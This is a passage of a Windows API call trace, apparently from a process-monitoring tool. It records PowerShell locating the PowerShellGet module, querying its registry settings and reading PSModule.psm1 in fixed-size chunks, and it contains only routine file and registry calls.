(x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0114.676] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0114.676] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x47 [0114.676] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1", nBufferLength=0x47, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1", lpFilePart=0x0) returned 0x46 [0114.794] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x59fdd38 | out: phkResult=0x59fdd38*=0x3f8) returned 0x0 [0114.795] RegQueryValueExW (in: hKey=0x3f8, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59fdd58, lpData=0x0, lpcbData=0x59fdd54*=0x0 | out: lpType=0x59fdd58*=0x1, lpData=0x0, lpcbData=0x59fdd54*=0x56) returned 0x0 [0114.795] RegQueryValueExW (in: hKey=0x3f8, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59fdd58, lpData=0x27ee5c8, lpcbData=0x59fdd54*=0x56 | out: lpType=0x59fdd58*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x59fdd54*=0x56) returned 0x0 [0114.795] RegCloseKey (hKey=0x3f8) returned 0x0 [0114.798] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGet.Format.ps1xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psget.format.ps1xml")) returned 0x20 [0114.803] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGet.Format.ps1xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psget.format.ps1xml")) returned 0x20 [0114.804] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGet.Format.ps1xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psget.format.ps1xml")) returned 0x20 [0114.804] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x59fdd38 | out: phkResult=0x59fdd38*=0x3f8) returned 0x0 [0114.884] RegQueryValueExW (in: hKey=0x3f8, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59fdd58, lpData=0x0, lpcbData=0x59fdd54*=0x0 | out: lpType=0x59fdd58*=0x1, lpData=0x0, lpcbData=0x59fdd54*=0x56) returned 0x0 [0114.885] RegQueryValueExW (in: hKey=0x3f8, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59fdd58, lpData=0x27fbd9c, lpcbData=0x59fdd54*=0x56 | out: lpType=0x59fdd58*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x59fdd54*=0x56) returned 0x0 [0114.885] RegCloseKey (hKey=0x3f8) returned 0x0 [0114.888] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0114.893] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0114.898] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGet.Format.ps1xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psget.format.ps1xml")) returned 0x20 [0114.903] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGet.Format.ps1xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psget.format.ps1xml")) returned 0x20 [0114.907] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGet.Resource.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psget.resource.psd1")) returned 0x20 [0114.912] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGet.Resource.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psget.resource.psd1")) returned 0x20 [0114.917] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGetModuleInfo.xml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5b [0114.917] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGetModuleInfo.xml", nBufferLength=0x5b, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGetModuleInfo.xml", lpFilePart=0x0) returned 0x5a [0114.918] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fdb38) returned 1 [0114.918] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGetModuleInfo.xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psgetmoduleinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x59fddfc | out: lpFileInformation=0x59fddfc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0114.918] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fdb34) returned 1 [0114.919] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0115.058] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x55 [0115.058] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", nBufferLength=0x55, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", lpFilePart=0x0) returned 0x54 [0115.058] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fd660) returned 1 [0115.058] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1"), fInfoLevelId=0x0, lpFileInformation=0x282af04 | out: lpFileInformation=0x282af04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499c9860, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8caa9)) returned 1 [0115.059] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fd65c) returned 1 [0115.059] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x55 [0115.059] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", nBufferLength=0x55, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", lpFilePart=0x0) returned 0x54 [0115.059] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fd804) returned 1 [0115.059] CreateFileW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3f8 [0115.060] GetFileType (hFile=0x3f8) returned 0x1 [0115.060] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fd800) returned 1 [0115.060] GetFileType (hFile=0x3f8) returned 0x1 [0115.060] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x0 [0115.060] ReadFile (in: hFile=0x3f8, lpBuffer=0x282bd08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x282bd08*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.061] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x1000 [0115.061] ReadFile (in: hFile=0x3f8, lpBuffer=0x282bd08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x282bd08*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.062] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x2000 [0115.062] ReadFile (in: hFile=0x3f8, lpBuffer=0x282bd08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x282bd08*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.062] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x3000 [0115.062] ReadFile (in: hFile=0x3f8, lpBuffer=0x282bd08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x282bd08*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.063] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x4000 [0115.063] ReadFile (in: hFile=0x3f8, lpBuffer=0x282bd08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x282bd08*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.063] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x5000 [0115.063] ReadFile (in: hFile=0x3f8, lpBuffer=0x282bd08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x282bd08*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.064] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x6000 [0115.064] ReadFile (in: hFile=0x3f8, lpBuffer=0x282bd08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x282bd08*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.064] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x7000 [0115.064] ReadFile (in: hFile=0x3f8, lpBuffer=0x282bd08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x282bd08*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.065] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x8000 [0115.065] ReadFile (in: hFile=0x3f8, lpBuffer=0x282bd08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x282bd08*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.065] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x9000 [0115.065] ReadFile (in: hFile=0x3f8, lpBuffer=0x282bd08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x282bd08*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.066] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0xa000 [0115.066] ReadFile (in: hFile=0x3f8, lpBuffer=0x282bd08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x282bd08*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.066] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0xb000 [0115.066] ReadFile (in: hFile=0x3f8, lpBuffer=0x282bd08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x282bd08*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.067] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0xc000 [0115.067] ReadFile (in: hFile=0x3f8, lpBuffer=0x282bd08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x282bd08*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.067] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0xd000 [0115.067] ReadFile (in: hFile=0x3f8, lpBuffer=0x282bd08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x282bd08*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.068] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0xe000 [0115.068] ReadFile (in: hFile=0x3f8, lpBuffer=0x282bd08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x282bd08*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.068] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0xf000 [0115.068] ReadFile (in: hFile=0x3f8, lpBuffer=0x282bd08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x282bd08*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.068] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x10000 [0115.069] ReadFile (in: hFile=0x3f8, lpBuffer=0x282bd08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x282bd08*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.069] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x11000 [0115.069] ReadFile (in: hFile=0x3f8, lpBuffer=0x282bd08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x282bd08*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.103] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x12000 [0115.104] ReadFile (in: hFile=0x3f8, lpBuffer=0x282bd08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x282bd08*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.104] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x13000 [0115.104] ReadFile (in: hFile=0x3f8, lpBuffer=0x282bd08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x282bd08*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.104] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x14000 [0115.104] ReadFile (in: hFile=0x3f8, lpBuffer=0x282bd08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x282bd08*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.105] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x15000 [0115.105] ReadFile (in: hFile=0x3f8, lpBuffer=0x282bd08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x282bd08*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.105] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x16000 [0115.105] ReadFile (in: hFile=0x3f8, lpBuffer=0x282bd08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x282bd08*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.105] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x17000 [0115.105] ReadFile (in: hFile=0x3f8, lpBuffer=0x282bd08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x282bd08*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.106] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x18000 [0115.106] ReadFile (in: hFile=0x3f8, lpBuffer=0x282bd08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x282bd08*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.106] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x19000 [0115.106] ReadFile (in: hFile=0x3f8, lpBuffer=0x282bd08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x282bd08*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.107] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x1a000 [0115.107] ReadFile (in: hFile=0x3f8, lpBuffer=0x282bd08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x282bd08*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.108] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x1b000 [0115.108] ReadFile (in: hFile=0x3f8, lpBuffer=0x282bd08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x282bd08*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.108] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x1c000 [0115.108] ReadFile (in: hFile=0x3f8, lpBuffer=0x282bd08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x282bd08*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.108] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x1d000 [0115.109] ReadFile (in: hFile=0x3f8, lpBuffer=0x282bd08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x282bd08*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.109] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x1e000 [0115.109] ReadFile (in: hFile=0x3f8, lpBuffer=0x282bd08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x282bd08*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.109] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x1f000 [0115.109] ReadFile (in: hFile=0x3f8, lpBuffer=0x282bd08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x282bd08*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.110] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x20000 [0115.110] ReadFile (in: hFile=0x3f8, lpBuffer=0x282bd08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x282bd08*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.110] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x21000 [0115.110] ReadFile (in: hFile=0x3f8, lpBuffer=0x282bd08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x282bd08*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.111] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x22000 [0115.111] ReadFile (in: hFile=0x3f8, lpBuffer=0x282bd08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x282bd08*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.112] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x23000 [0115.112] ReadFile (in: hFile=0x3f8, lpBuffer=0x282bd08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x282bd08*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.112] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x24000 [0115.112] ReadFile (in: hFile=0x3f8, lpBuffer=0x282bd08, nNumberOfBytesToRead=0x1000, 